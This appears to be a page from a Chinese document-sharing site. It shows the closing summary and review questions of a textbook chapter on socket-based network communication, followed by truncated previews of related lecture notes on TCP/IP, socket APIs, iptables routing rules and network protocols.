81 第 5 章网络通信 235 图 5.40 采用 IO 多路复用的服务器端程序运行结果 图 5.41 客户端程序运行结果 5.8 本章小结 (1) 网络通信实质上就是网络中的进程间通信 一个三元组 ( 半相关 ) 用以标识网络中的进程, 这个三元组包括协议 本地地址和本地端口 套接字 (socket) 则是网络中各进程之间通信的工具 (2) 基于 socket 的通信始终遵循着客户端 / 服务器框架 即服务器负责接收和处理请求, 客户端发出请求并获得服务 (3) 服务器建立服务器端 socket 服务器端 socket 有具体的地址, 用来接收连接 (4) 客户端创建和使用客户端 socket 客户并不关心客户端 socket 地址 (5) 面向连接的 TCP 套接字通过建立连接 数据传输和断开连接 3 个步骤来保障通信的完成, 是可靠的通信 (6) 面向无连接的数据报 (UDP) 是从一个 socket 发送到另一个 socket 的短消息 数据报 socket 是无连接的, 每个消息包含有目的地址 数据报 (UDP)socket 更加简单 快速, 给系统增加的负荷更小 (7) 原始套接字可以将网络编程延伸到 IP 层和数据链路层, 是底层网络编程的有力手段 (8) 由于套接字本身也是一种文件类型, 所以默认时采用阻塞方式操作, 但在网络环境中, 程序不可能只会拥有一个套接字, 所以为保证多个套接字能够同时工作, 就必须设计并发的套接字程序 通常 socket 并发的方法有 : 非阻塞式并发 多进程并发 多线程并发和 IO 多路复用 思考题 1. 什么是网络通信? 2. 网络中的进程如何表示? 3. 什么是套接字? 套接字有哪些类型? 各有何特点? 4. 什么是 TCP 通信? 什么是 UDP 通信? 二者有哪些区别? 5. 简述 IO 多路复用的实现原理

Chapter #

Chapter # 第三章 TCP/IP 协议栈 本章目标 通过本章的学习, 您应该掌握以下内容 : 掌握 TCP/IP 分层模型 掌握 IP 协议原理 理解 OSI 和 TCP/IP 模型的区别和联系 TCP/IP 介绍 主机 主机 Internet TCP/IP 早期的协议族 全球范围 TCP/IP 协议栈 7 6 5 4 3 应用层表示层会话层传输层网络层 应用层 主机到主机层 Internet 层 2 1 数据链路层

More information

计算机网络编程

计算机网络编程 计算机网络编程 第 2 章 Socket 编程基础知识 信息工程学院方徽星 [email protected] 本章主要内容 Socket 编程的基本概念 Winsock 网络编程接口 2.1 Socket 编程的基本概念 套接字 (Socket): 网络层的 IP 地址 + 传输层的端口号 客户机 服务器 应用进程 通信子网 应用进程 客户机 Socket 请求 服务器 Socket

More information

Chapter 5- 运输层 (5)-2017

Chapter 5- 运输层 (5)-2017 计算机网络 运输层编程 (5) 陈旺虎 [email protected] Review TCP 协议格式 TCP 可靠传输 为什么需要三次握手? A 发送一次确认的原因 应对出现 已失效的连接请求报文段 的情况, 即防止已失效的连接请求报文段突然又传到了 B 例 1:A 发出连接请求, 但该请求丢失,A 重传连接请求, 到达 B, 则正常 ; 一. 认识 Socket 应用层程序 流套接字接口

More information

网络程序设计(socketAPI)

网络程序设计(socketAPI) 前言通信模型重要函数 网络程序设计 (socketapi) 孙永科 西南林业大学 2010 年 9 月 6 日 1 / 40 上节回顾 前言通信模型重要函数上节回顾本章重点 阻塞和非阻塞 socket 通信模型大字节顺序小字节顺序网络字节顺序 2 / 40 本章重点 前言通信模型重要函数上节回顾本章重点 1 通信模型基本概念 Socket 通信 Socket 地址 Socket 函数 2 重要函数获取主机信息

More information

Chap04

Chap04 Socket 编程介绍 Socket Socket 网络编程 按照操作系统 Windows 的 socket 编程 *nix 的 socket 编程 按照编程语 言 使 用C++ Java 的 socket 编程 使 用脚本语 言的 socket 编程 Socket 的 一些历史 Sockets 本来是 UNIX 操作系统下流 行行的 一种 网络编程接 口 (API), 在 4.2 BSD 中被 首先引

More information

华清远见就业优势倍增项目手册

华清远见就业优势倍增项目手册 Linux 网络编程 曾宏安 1. Internet 与 TCP/IP 协议 1 2 3 4 Internet 历史 OSI 模型与 TCP/IP 协议体系结构 TCP/IP 协议 TCP 和 UDP 协议 Internet 的历史 } Internet- 冷战 的产物 } 1957 年 10 月和 11 月, 前苏联先后有两颗 Sputnik 卫星上天 } 1958 年美国总统艾森豪威尔向美国国会提出建立

More information

VoIP Make a Rtp Call VoIP Abstract... 2 VoIP RTP...3 Socket IP...9 Config Two Voice-hub

VoIP Make a Rtp Call VoIP Abstract... 2 VoIP RTP...3 Socket IP...9 Config Two Voice-hub VoIP... 2... 2 Abstract... 2... 3... 3 RTP...3 Socket...4...6...7 IP...9 Config Two Voice-hub... 10 1 12 VoIP VoIP voice-hub voice-hub Abstract At the beginning of this paper, we introducted the essential

More information

UDP 8.2 TCP/IP OSI OSI 3 OSI TCP/IP IP TCP/IP TCP/IP Transport Control Protocol TCP User Datagram Protocol UDP TCP TCP/IP IP TCP TCP/IP TC

UDP 8.2 TCP/IP OSI OSI 3 OSI TCP/IP IP TCP/IP TCP/IP Transport Control Protocol TCP User Datagram Protocol UDP TCP TCP/IP IP TCP TCP/IP TC 8 TCP/IP TCP/IP TCP OSI 8.1 OSI 4 end to end A B FTP OSI Connection Management handshake Flow Control Error Detection IP Response to User s Request TCP/IP TCP 181 UDP 8.2 TCP/IP OSI OSI 3 OSI 3 8.1 TCP/IP

More information

MASQUERADE # iptables -t nat -A POSTROUTING -s / o eth0 -j # sysctl net.ipv4.ip_forward=1 # iptables -P FORWARD DROP #

MASQUERADE # iptables -t nat -A POSTROUTING -s / o eth0 -j # sysctl net.ipv4.ip_forward=1 # iptables -P FORWARD DROP # iptables 默认安全规则脚本 一 #nat 路由器 ( 一 ) 允许路由 # iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT ( 二 ) DNAT 与端口转发 1 启用 DNAT 转发 # iptables -t nat -A PREROUTING -p tcp -d 192.168.102.37 dprot 422 -j DNAT to-destination

More information

C/C++ - 文件IO

C/C++ - 文件IO C/C++ IO Table of contents 1. 2. 3. 4. 1 C ASCII ASCII ASCII 2 10000 00100111 00010000 31H, 30H, 30H, 30H, 30H 1, 0, 0, 0, 0 ASCII 3 4 5 UNIX ANSI C 5 FILE FILE 6 stdio.h typedef struct { int level ;

More information

untitled

untitled Lwip Swedish Institute of Computer Science February 20, 2001 Adam Dunkels [email protected] (QQ: 10205001) (QQ: 329147) (QQ:3232253) (QQ:3232253) QQ ARM TCPIP LCD10988210 LWIP TCP/IP LWIP LWIP lwip API lwip

More information

TCP/IP TCP/IP OSI IP TCP IP IP TCP/IP TCP/IP

TCP/IP TCP/IP OSI IP TCP IP IP TCP/IP TCP/IP TCP/IP : TCP/IP TCP/IP OSI IP TCP IP IP TCP/IP TCP/IP 1. ASCII EBCDIC Extended Binary-Coded Decimal Interchange Code 2. / (1) (2) Single System Image SSI) (3) I/O (4) 3.OSI OSI Open System Interconnection

More information

C6_ppt.PDF

C6_ppt.PDF C01-202 1 2 - (Masquerade) (Replay) (Message Modification) (Denial of Service) - ( ) (Eavesdropping) (Traffic Analysis) 8 1 2 7 3 6 5 4 3 - TCP SYN (SYN flood) Smurf Ping of Death LAND Attack Teardrop

More information

Slide 1

Slide 1 网络编程入门篇 利用 socket 实现 TCP 服务器 目录 基础知识 具体示例 示例代码讲解 基础知识 基础知识 socket 编程一般采用客户端 - 服务器模式 ( 即由客户进程向服务器进程发出请求, 服务器进程执行请求的任务并将执行结果返回给客户进程的模式 ) 今天我们要讲的就是如何利用 socket 编程实现基于 TCP 协议通信的服务器 首先我们先向大家展示 socket 编程的流程,

More information

计算机网络实验说明

计算机网络实验说明 计算机网络实验说明 龚旭东 电三楼 420 lzgxd@mailustceducn 2011 年 11 月 1 日 龚旭东 (TA) 计算机网络实验说明 2011 年 11 月 1 日 1 / 20 Outline 1 实验系统介绍 实验环境实验流程 2 实验内容编程实验交互实验观察实验 3 一些控制台命令 4 实验报告说明 龚旭东 (TA) 计算机网络实验说明 2011 年 11 月 1 日 2

More information

Linux網路傳輸設定

Linux網路傳輸設定 Linux 網路傳輸設定 南台科技大學電子系 指導老師 : 侯安桑 班級 : 電子碩研一甲 學號 :M9830205 姓名 : 張嘉巖 Android 網路傳輸設定已經完成後, 接下來要開始設定 linux 網路傳輸, 目標是要將 linux 當作 server 端來設計, 使用的程式語言為 C 語言, 此作法會比 android 來的簡單許多, 只要顧慮程式流程和邏輯觀念是否正確即可, 下面會介紹

More information

引言 ftp 工作原理 FTP 客户端思考练习 要点回顾 1 ip 地址结构 2 字节顺序转换函数 3 IP 格式转换函数 2 / 29

引言 ftp 工作原理 FTP 客户端思考练习 要点回顾 1 ip 地址结构 2 字节顺序转换函数 3 IP 格式转换函数 2 / 29 引言 ftp 工作原理 FTP 客户端思考练习 网络程序设计 (FTP) 孙永科 西南林业大学 2010 年 9 月 17 日 1 / 29 引言 ftp 工作原理 FTP 客户端思考练习 要点回顾 1 ip 地址结构 2 字节顺序转换函数 3 IP 格式转换函数 2 / 29 引言 ftp 工作原理 FTP 客户端思考练习 本节重点 1 ftp 工作原理数据分析 TCPdump 过程分析 wireshark

More information

/ / (FC 3)...

/ / (FC 3)... Modbus/TCP 1.0 1999 3 29 Andy Swales Schneider [email protected] ... 2 1.... 3 2.... 3 2.1.. 3 2.2..4 2.3..4 2.4... 5 3.... 5 3.1 0... 5 3.2 1... 5 3.3 2... 6 3.4 / /... 7 4.... 7 5.... 8 5.1 0... 9

More information

目录 1 IPv6 快速转发 IPv6 快速转发配置命令 display ipv6 fast-forwarding aging-time display ipv6 fast-forwarding cache ipv6 fas

目录 1 IPv6 快速转发 IPv6 快速转发配置命令 display ipv6 fast-forwarding aging-time display ipv6 fast-forwarding cache ipv6 fas 目录 1 IPv6 快速转发 1-1 1.1 IPv6 快速转发配置命令 1-1 1.1.1 display ipv6 fast-forwarding aging-time 1-1 1.1.2 display ipv6 fast-forwarding cache 1-1 1.1.3 ipv6 fast-forwarding aging-time 1-3 1.1.4 ipv6 fast-forwarding

More information

Microsoft PowerPoint - Socket programming.ppt [相容模式]

Microsoft PowerPoint - Socket programming.ppt [相容模式] Basic Concept of Socket Socket programming 位於傳輸層和應用層之間 socket 是一種可做雙向資料傳輸的通道 讓應用層可以傳送資料給 socket, 或是從 socket 接收資料 Jimmy 2011/3/29 Concept of Socket Relation between Socket and Application Socket 的概念和檔案代碼觀念相似,

More information

计算机网络编程

计算机网络编程 计算机网络编程 第 9 章发现网络中的活动主机 信息工程学院方徽星 [email protected] 大纲 设计目的 相关知识 例题分析 1. 设计目的 IP 协议缺少差错控制与查询机制 ICMP(Internet Control Message Protocol) 协议可以补充 IP 的功能 通过封装 发送 接收与解析 ICMP 数据包 了解 ICMP 包结构中各个字段的用途 深入理解与认识

More information

Windows RTEMS 1 Danilliu MMI TCP/IP QEMU i386 QEMU ARM POWERPC i386 IPC PC104 uc/os-ii uc/os MMI TCP/IP i386 PORT Linux ecos Linux ecos ecos eco

Windows RTEMS 1 Danilliu MMI TCP/IP QEMU i386 QEMU ARM POWERPC i386 IPC PC104 uc/os-ii uc/os MMI TCP/IP i386 PORT Linux ecos Linux ecos ecos eco Windows RTEMS 1 Danilliu MMI TCP/IP 80486 QEMU i386 QEMU ARM POWERPC i386 IPC PC104 uc/os-ii uc/os MMI TCP/IP i386 PORT Linux ecos Linux ecos ecos ecos Email www.rtems.com RTEMS ecos RTEMS RTEMS Windows

More information

CC213

CC213 : (Ken-Yi Lee), E-mail: [email protected] 49 [P.51] C/C++ [P.52] [P.53] [P.55] (int) [P.57] (float/double) [P.58] printf scanf [P.59] [P.61] ( / ) [P.62] (char) [P.65] : +-*/% [P.67] : = [P.68] : ,

More information

目录 1 IPv6 快速转发 IPv6 快速转发配置命令 display ipv6 fast-forwarding aging-time display ipv6 fast-forwarding cache ipv6 fas

目录 1 IPv6 快速转发 IPv6 快速转发配置命令 display ipv6 fast-forwarding aging-time display ipv6 fast-forwarding cache ipv6 fas 目录 1 IPv6 快速转发 1-1 1.1 IPv6 快速转发配置命令 1-1 1.1.1 display ipv6 fast-forwarding aging-time 1-1 1.1.2 display ipv6 fast-forwarding cache 1-1 1.1.3 ipv6 fast-forwarding aging-time 1-3 1.1.4 ipv6 fast-forwarding

More information

Simulator By SunLingxi 2003

Simulator By SunLingxi 2003 Simulator By SunLingxi [email protected] 2003 windows 2000 Tornado ping ping 1. Tornado Full Simulator...3 2....3 3. ping...6 4. Tornado Simulator BSP...6 5. VxWorks simpc...7 6. simulator...7 7. simulator

More information

DOS下常用的网络命令.PDF

DOS下常用的网络命令.PDF DOS .... 1.1... 1.2... DOS... 2.1 ARP... 2.2 Finger... 2.3 Ftp... 2.4 Nbtstat... 2.5 Netstat... 2.6 Ping... 2.7 Rcp... 2.8 Rexec... 2.9 Route... 2.10 Rsh... 2.11 Tftp... 2.12 Tracert... 1 1 1 1 1 2 3 4

More information

Basics of Socket Programming Please check the referenced links for the further description and examples. 1 Procedures for Socket Implementation 1. Create the server application (e.g. a simple shellscript)

More information

/3/15 1, linux. linux,,. : 1.NAT ; 2. (load balance, virtual server);; 3. ; 4. ; 5. 6.VPN; 7. ; 8. ; 9.. (,

/3/15 1, linux. linux,,. : 1.NAT ; 2. (load balance, virtual server);; 3. ; 4. ; 5. 6.VPN; 7. ; 8. ; 9.. (, Yawl(yawl@docshownet) wwwdocshownet 2000/3/15 1, linux linux,, 1NAT ; 2 (load balance,virtual server);; 3 ; 4 ; 5 6VPN; 7 ; 8 ; 9 (,, )IP, (VPN,, ) IP, (call_in_firewall(),call_fw_firewall(),call_out_firewall(),

More information

嵌入式Linux块设备驱动开发解析

嵌入式Linux块设备驱动开发解析 The success's road 嵌 入 式 LINUX 网 络 驱 动 开 发 Copyright 2007-2008 Farsight. All rights reserved. 要 点 Linux 网 络 设 备 驱 动 程 序 概 述 计 算 机 网 络 概 述 skbuf 数 据 结 构 介 绍 Linux 网 络 设 备 驱 动 程 序 API 介 绍 Linux 网 络 设 备 驱

More information

<4D6963726F736F667420506F776572506F696E74202D20A1B6CFEEC4BFD2BB20B3F5CAB6BCC6CBE3BBFACDF8C2E7A1B7C8CECEF1C8FD20CAECCFA4544350A1A24950D0ADD2E9BACD4950B5D8D6B72E707074>

<4D6963726F736F667420506F776572506F696E74202D20A1B6CFEEC4BFD2BB20B3F5CAB6BCC6CBE3BBFACDF8C2E7A1B7C8CECEF1C8FD20CAECCFA4544350A1A24950D0ADD2E9BACD4950B5D8D6B72E707074> 项 目 一 : 初 识 计 算 机 网 络 任 务 三 熟 悉 TCP/IP 协 议 和 IP 地 址 一. 学 习 要 求 : 学 习 要 求 及 难 点 1. 了 解 IP 协 议 TCP 协 议 和 UDP 协 议 2. 熟 悉 IP 地 址 的 划 分 和 分 类 3. 了 解 IPV6 的 地 址 结 构 二. 难 点 : 1. IP 地 址 三. 学 时 : 1. 理 论 教 学 :6

More information

C/C++ - 字符输入输出和字符确认

C/C++ - 字符输入输出和字符确认 C/C++ Table of contents 1. 2. getchar() putchar() 3. (Buffer) 4. 5. 6. 7. 8. 1 2 3 1 // pseudo code 2 read a character 3 while there is more input 4 increment character count 5 if a line has been read,

More information

C++ 程序设计 告别 OJ1 - 参考答案 MASTER 2019 年 5 月 3 日 1

C++ 程序设计 告别 OJ1 - 参考答案 MASTER 2019 年 5 月 3 日 1 C++ 程序设计 告别 OJ1 - 参考答案 MASTER 2019 年 月 3 日 1 1 INPUTOUTPUT 1 InputOutput 题目描述 用 cin 输入你的姓名 ( 没有空格 ) 和年龄 ( 整数 ), 并用 cout 输出 输入输出符合以下范例 输入 master 999 输出 I am master, 999 years old. 注意 "," 后面有一个空格,"." 结束,

More information

財金資訊-80期.indd

財金資訊-80期.indd IPv6 / LINE YouTube TCP/IP TCP (Transmission Control Protocol) IP (Internet Protocol) (node) (address) IPv4 168.95.1.1 IPv4 1981 RFC 791 --IP IPv4 32 2 32 42 IP (Internet Service Provider ISP) IP IP IPv4

More information

路由器基本配置

路由器基本配置 路由器基本配置 本章内容 路由器的基本操作 实验练习 常用的路由器配置方法 TFTP Console MODEM AUX telnet web 任何 Interface AUX 备份接口, 一般用于路由器的管理备份接口 路由器的操作模式 : 配置模式 1. 线路配置模式 Router(config-line)# 配置路由器的线路参数 2. 路由协议配置模式 Router(config-router)#

More information

Slide 1

Slide 1 网络编程入门篇 Select: 非阻塞 Socket 编程 目录 基础知识 具体示例 注意事项 示例代码讲解 基础知识 基础知识 在 RT-Thread 使用 socket 网络编程时, 由于 socket 的 recv 和 send 的实现是阻塞式的, 因此当一个任务调用 recv() 函数接收数据时, 如果 socket 上并没有接收到数据, 这个任务将阻塞在 recv() 函数里 这个时候,

More information

Guava学习之Resources

Guava学习之Resources Resources 提供提供操作 classpath 路径下所有资源的方法 除非另有说明, 否则类中所有方法的参数都不能为 null 虽然有些方法的参数是 URL 类型的, 但是这些方法实现通常不是以 HTTP 完成的 ; 同时这些资源也非 classpath 路径下的 下面两个函数都是根据资源的名称得到其绝对路径, 从函数里面可以看出,Resources 类中的 getresource 函数都是基于

More information

《信息通信网》实验指导书

《信息通信网》实验指导书 IPv6 网络基础编程 一 实验目的 学习网络套接口 (socket) 编程, 掌握 Linux 操作系统下使用 TCP 协议进行通信的 IPv6 网络应用程序基本实现框架, 加深对 IPv6 协议的理解 二 预备工作和实验要求 将纯 IPv4 网络应用程序移植到纯 IPv6 环境下并没有多大困难 ; 对于典型的 C/S 结构程序, 我们只需对客户端和服务器端源代码进行简单修改, 然后重新编译它们

More information

网上对外发布资料适用版本

网上对外发布资料适用版本 HDLC-ETH 通告接口 1 概述... 2 1.1 目的... 2 1.2 适用产品... 2 1.3 字节顺序... 2 1.4 对齐方式... 2 1.5 基本数据类型... 2 2 利用 DMS 激活通告接口... 3 2.1 组网... 3 2.2 配置... 3 3 通告消息... 4 3.1 DMS 消息组成... 4 3.2 DMSG_HEADER:DMS 消息头... 4 3.2.1

More information

实施生成树

实施生成树 学习沉淀成长分享 Spanning-tree 红茶三杯 ( 朱 SIR) 微博 :http://t.sina.com/vinsoney Latest update: 2012-06-01 STP 的概念 冗余拓扑 Server/host X Router Y Segment 1 Switch A Switch B Segment 2 冗余拓扑能够解决单点故障问题 ; 冗余拓扑造成广播风暴, 多帧复用,

More information

R3105+ ADSL

R3105+ ADSL ... 1 1 1... 1 1 2... 1... 3 2 1... 3 2 2... 3 2 3... 5 2 4... 5 2 4 1... 5... 7 3 1... 7 3 2... 8 3 2 1... 8 3 2 2... 9 3 3... 12 3 3 1... 13 3 3 2 WAN... 16 3 3 3 LAN... 21 3 3 4 NAT... 22 3 3 5... 24

More information

ch09.PDF

ch09.PDF 9-1 / (TCP/IP) TCP/IP TCP/IP ( ) ICMP ARP RARP 9.1 TCP/IP 9.1.1 TCP/IP OSI TCP/IP (DARPA) DARPA TCP/IP UNIX Berkeley Software DistributionTCP/IP TCP/IP TCP/IP TCP/IP TCP/IP TCP/IP OSI - TCP/IP ( ) ( )

More information

Linux网络编程socket错误分析

Linux网络编程socket错误分析 Linux 网 络 编 程 socket 错 误 分 析 socket 错 误 码 : EINTR: 4 阻 塞 的 操 作 被 取 消 阻 塞 的 调 用 打 断 如 设 置 了 发 送 接 收 超 时, 就 会 遇 到 这 种 错 误 只 能 针 对 阻 塞 模 式 的 socket 读, 写 阻 塞 的 socket 时,-1 返 回, 错 误 号 为 INTR 另 外, 如 果 出 现 EINTR

More information

获取 Access Token access_token 是接口的全局唯一票据, 接入方调用各接口时都需使用 access_token 开发者需要进行妥善保存 access_token 的存储至少要保留 512 个字符空间 access_token 的有效期目前为 2 个小时, 需定时刷新, 重复

获取 Access Token access_token 是接口的全局唯一票据, 接入方调用各接口时都需使用 access_token 开发者需要进行妥善保存 access_token 的存储至少要保留 512 个字符空间 access_token 的有效期目前为 2 个小时, 需定时刷新, 重复 获取 Access Token access_token 是接口的全局唯一票据, 接入方调用各接口时都需使用 access_token 开发者需要进行妥善保存 access_token 的存储至少要保留 512 个字符空间 access_token 的有效期目前为 2 个小时, 需定时刷新, 重复 获取将导致上次获取的 access_token 失效 接入方可以使用 AppID 和 AppSecret

More information

工程师培训

工程师培训 .1 TCP/IP TCP/IP 1 .2.2.1 Host 1960 S 1970 S Host Low Speed Lines 1970 S 1980 S pc Server Local Interneting 1980 S 1990 S Branch. pc Branch. WAN Branch. pc pc IBM SNA IBM X.25 2 .2.2 OSI OSI Application

More information

FortiADC SLB Virtual Server L7 方式部署介绍 版本 1.0 时间支持的版本作者状态反馈 2015 年 10 月 FortiADC v4.3.x 刘康明已审核

FortiADC SLB Virtual Server L7 方式部署介绍 版本 1.0 时间支持的版本作者状态反馈 2015 年 10 月 FortiADC v4.3.x 刘康明已审核 FortiADC SLB Virtual Server L7 方式部署介绍 版本 1.0 时间支持的版本作者状态反馈 2015 年 10 月 FortiADC v4.3.x 刘康明已审核 [email protected] 目录 简介... 3 Virtual Server L7 代理部署方式介绍... 3 Virtual Server L7 携带源地址代理部署方式介绍... 5 Fortinet

More information

epub 33-8

epub 33-8 8 1) 2) 3) A S C I I 4 C I / O I / 8.1 8.1.1 1. ANSI C F I L E s t d i o. h typedef struct i n t _ f d ; i n t _ c l e f t ; i n t _ m o d e ; c h a r *_ n e x t ; char *_buff; /* /* /* /* /* 1 5 4 C FILE

More information

ebook15-10

ebook15-10 1 0 10.1 U N I X V 7 4. 3 B S D S V R 3 P O S I X. 1 100 % 10.2 S I G S I G A B RT a b o r t S I G A L R M a l a r m V 7 1 5 S V R 4 4. 3 + B S D 31 < s i g n a l. h > 0 10. 9 k i l l 0 P O S I X. 1 D

More information

新版 明解C言語入門編

新版 明解C言語入門編 328, 4, 110, 189, 103, 11... 318. 274 6 ; 10 ; 5? 48 & & 228! 61!= 42 ^= 66 _ 82 /= 66 /* 3 / 19 ~ 164 OR 53 OR 164 = 66 ( ) 115 ( ) 31 ^ OR 164 [] 89, 241 [] 324 + + 4, 19, 241 + + 22 ++ 67 ++ 73 += 66

More information

第 1 章 概 述 1.1 计 算 机 网 络 在 信 息 时 代 中 的 作 用 1.2 计 算 机 网 络 的 发 展 过 程 *1.2.1 分 组 交 换 的 产 生 *1.2.2 因 特 网 时 代 *1.2.3 关 于 因 特 网 的 标 准 化 工 作 1.2.4 计 算 机 网 络 在

第 1 章 概 述 1.1 计 算 机 网 络 在 信 息 时 代 中 的 作 用 1.2 计 算 机 网 络 的 发 展 过 程 *1.2.1 分 组 交 换 的 产 生 *1.2.2 因 特 网 时 代 *1.2.3 关 于 因 特 网 的 标 准 化 工 作 1.2.4 计 算 机 网 络 在 计 算 机 网 络 ( 第 4 版 ) 课 件 第 1 章 计 算 机 网 络 概 述 郭 庆 北 [email protected] 2009-02-25 第 1 章 概 述 1.1 计 算 机 网 络 在 信 息 时 代 中 的 作 用 1.2 计 算 机 网 络 的 发 展 过 程 *1.2.1 分 组 交 换 的 产 生 *1.2.2 因 特 网 时 代 *1.2.3 关 于 因 特

More information

一、选择题

一、选择题 计 算 机 网 络 基 础 第 7 章 练 习 思 考 与 认 识 活 动 一 选 择 题 1. 下 面 命 令 中, 用 于 检 查 WINDOWS2000 下 TCP/IP 配 置 信 息 的 是 ( ) A. cmd B. nslookup C. ipconfig D. ping 2. 内 部 网 关 协 议 RIP 是 一 种 广 泛 使 用 的 基 于 距 离 矢 量 算 法 的 协 议

More information

目录 1 IP 地址配置命令 IP 地址配置命令 display ip interface display ip interface brief ip address i

目录 1 IP 地址配置命令 IP 地址配置命令 display ip interface display ip interface brief ip address i 目录 1 IP 地址配置命令... 1-1 1.1 IP 地址配置命令... 1-1 1.1.1 display ip interface... 1-1 1.1.2 display ip interface brief... 1-3 1.1.3 ip address... 1-4 i 1 IP 地址配置命令 1.1 IP 地址配置命令 1.1.1 display ip interface 命令 display

More information

Chapter 5 TCP/IP Security WANG YANG

Chapter 5 TCP/IP Security WANG YANG Content 实验课 课外安排时间, 每周一次 (6~10 周 ) 内容 : 基于安全实验虚拟机, 进行信息搜集 程序安全 网络安全的实验练习, 内容主要参照 SEED 的实验大纲 自愿报名 发邮件到 [email protected] 截止时间 : 本周日 Chapter 5 TCP/IP Security WANG YANG [email protected] Content TCP/IP

More information

PowerPoint 演示文稿

PowerPoint 演示文稿 The BitCoin Scripting Language 交易实例 交易结构 "result": { "txid": "921a dd24", "hash": "921a dd24", "version": 1, "size": 226, "locktime": 0, "vin": [ ], "vout": [ ], "blockhash": "0000000000000000002c510d

More information

Microsoft PowerPoint - os_4.ppt

Microsoft PowerPoint - os_4.ppt 行 程 資 科 系 林 偉 川 行 程 概 念 行 程 與 程 式 主 要 的 不 同 點 : 程 式 是 被 放 在 外 部 的 儲 存 裝 置 如 磁 碟 上, 而 行 程 則 被 放 在 記 憶 體 中 程 式 在 儲 存 裝 置 中 是 靜 態 的, 而 行 程 在 記 憶 體 中 是 動 態 的, 它 會 隨 著 一 些 事 件 的 發 生 而 產 生 相 對 的 改 變 行 程, 就 是

More information

C3_ppt.PDF

C3_ppt.PDF C03-101 1 , 2 (Packet-filtering Firewall) (stateful Inspection Firewall) (Proxy) (Circuit Level gateway) (application-level gateway) (Hybrid Firewall) 2 IP TCP 10.0.0.x TCP Any High Any 80 80 10.0.0.x

More information

C/C++ - 函数

C/C++ - 函数 C/C++ Table of contents 1. 2. 3. & 4. 5. 1 2 3 # include # define SIZE 50 int main ( void ) { float list [ SIZE ]; readlist (list, SIZE ); sort (list, SIZE ); average (list, SIZE ); bargragh

More information

IP505SM_manual_cn.doc

IP505SM_manual_cn.doc IP505SM 1 Introduction 1...4...4...4...5 LAN...5...5...6...6...7 LED...7...7 2...9...9...9 3...11...11...12...12...12...14...18 LAN...19 DHCP...20...21 4 PC...22...22 Windows...22 TCP/IP -...22 TCP/IP

More information

水晶分析师

水晶分析师 大数据时代的挑战 产品定位 体系架构 功能特点 大数据处理平台 行业大数据应用 IT 基础设施 数据源 Hadoop Yarn 终端 统一管理和监控中心(Deploy,Configure,monitor,Manage) Master Servers TRS CRYSTAL MPP Flat Files Applications&DBs ETL&DI Products 技术指标 1 TRS

More information

帝国CMS下在PHP文件中调用数据库类执行SQL语句实例

帝国CMS下在PHP文件中调用数据库类执行SQL语句实例 帝国 CMS 下在 PHP 文件中调用数据库类执行 SQL 语句实例 这篇文章主要介绍了帝国 CMS 下在 PHP 文件中调用数据库类执行 SQL 语句实例, 本文还详细介绍了帝国 CMS 数据库类中的一些常用方法, 需要的朋友可以参考下 例 1: 连接 MYSQL 数据库例子 (a.php)

More information

9 Internet 10 Internet

9 Internet 10 Internet 1 2 3 4 5 6 Internet 7 8 9 Internet 10 Internet 11 12 1 1.1 1.2 1.3 1.4 1.5 1.6 1.1 1.1.1 20 50 20 60 ARPANET ARPANET Internet 20 70 ISO International Organization for Standardization TCP/IP 20 90 Internet

More information

FY.DOC

FY.DOC 高 职 高 专 21 世 纪 规 划 教 材 C++ 程 序 设 计 邓 振 杰 主 编 贾 振 华 孟 庆 敏 副 主 编 人 民 邮 电 出 版 社 内 容 提 要 本 书 系 统 地 介 绍 C++ 语 言 的 基 本 概 念 基 本 语 法 和 编 程 方 法, 深 入 浅 出 地 讲 述 C++ 语 言 面 向 对 象 的 重 要 特 征 : 类 和 对 象 抽 象 封 装 继 承 等 主

More information

它是使用标准 Unix 文件描述符 (file descriptor) 和其它程序通讯的方式 什么? 你也许听到一些 Unix 高手 (hacker) 这样说过 : 呀,Unix 中的一切就是文件!. 那个家伙也许正在说到一个事实 :Unix 程序在执行任何形式的 I/O 的时候, 程序是在读或者写

它是使用标准 Unix 文件描述符 (file descriptor) 和其它程序通讯的方式 什么? 你也许听到一些 Unix 高手 (hacker) 这样说过 : 呀,Unix 中的一切就是文件!. 那个家伙也许正在说到一个事实 :Unix 程序在执行任何形式的 I/O 的时候, 程序是在读或者写 C 语言 SOCKET 编程入门 ( 第二版 ) (2017 年 6 月 8 日 14:29:11) 1 一切才刚刚开始 socket 编程让你沮丧吗? 从 man pages 中很难得到有用的信息吗? 你想跟上时代 去编写 Internet 相关的程序, 但是为你在调用 connect() 前的 bind() 的结构而不知所 措? 等等... 好在已经将这些事完成了, 这里将和所有人分享所知道的知识了

More information

C

C C 14 2017 5 31 1. 2. 3. 4. 5. 2/101 C 1. ( ) 4/101 C C ASCII ASCII ASCII 5/101 C 10000 00100111 00010000 ASCII 10000 31H 30H 30H 30H 30H 1 0 0 0 0 0 ASCII 6/101 C 7/101 C ( ) ( ) 8/101 C UNIX ANSI C 9/101

More information

C 1

C 1 C homepage: xpzhangme 2018 5 30 C 1 C min(x, y) double C // min c # include # include double min ( double x, double y); int main ( int argc, char * argv []) { double x, y; if( argc!=

More information

(Methods) Client Server Microsoft Winsock Control VB 1 VB Microsoft Winsock Control 6.0 Microsoft Winsock Control 6.0 1(a). 2

(Methods) Client Server Microsoft Winsock Control VB 1 VB Microsoft Winsock Control 6.0 Microsoft Winsock Control 6.0 1(a). 2 (2005-01-26) (2005-01-26) (2005-02-27) PIC_SERVER (9) VB TCP/UDP Visual Basic Microsoft Winsock Control (MSWINSCK.OCX) UDP TCP Client Server Visual Basic UDP/TCP PIC_SERVER UDP/TCP 1. Microsoft Winsock

More information

Microsoft PowerPoint - 数据通信-ch1.ppt

Microsoft PowerPoint - 数据通信-ch1.ppt 主 要 内 容 与 基 本 要 求 主 要 内 容 数 据 通 信 与 计 算 机 网 络 计 算 机 网 络 的 发 展 过 程 分 类 以 及 主 要 性 能 指 标 ; 分 组 交 换 的 基 本 原 理 及 其 与 电 路 交 换 报 文 交 换 的 联 系 与 区 别 ; 计 算 机 网 络 的 协 议 与 体 系 结 构 第 1 章 概 述 基 本 要 求 掌 握 分 组 交 换 电 路

More information

The Library SysLibSockets

The Library SysLibSockets The Library SysLibSockets.lib...2 SysSockAccept...3 SysSockBind...3 SysSockClose...4 SysSockConnect...4 SysSockCreate...5 SysSockGetHostByName...5 SysSockGetHostName...6 SysSockGetOption...6 SysSockGetLastError...7

More information

ACE

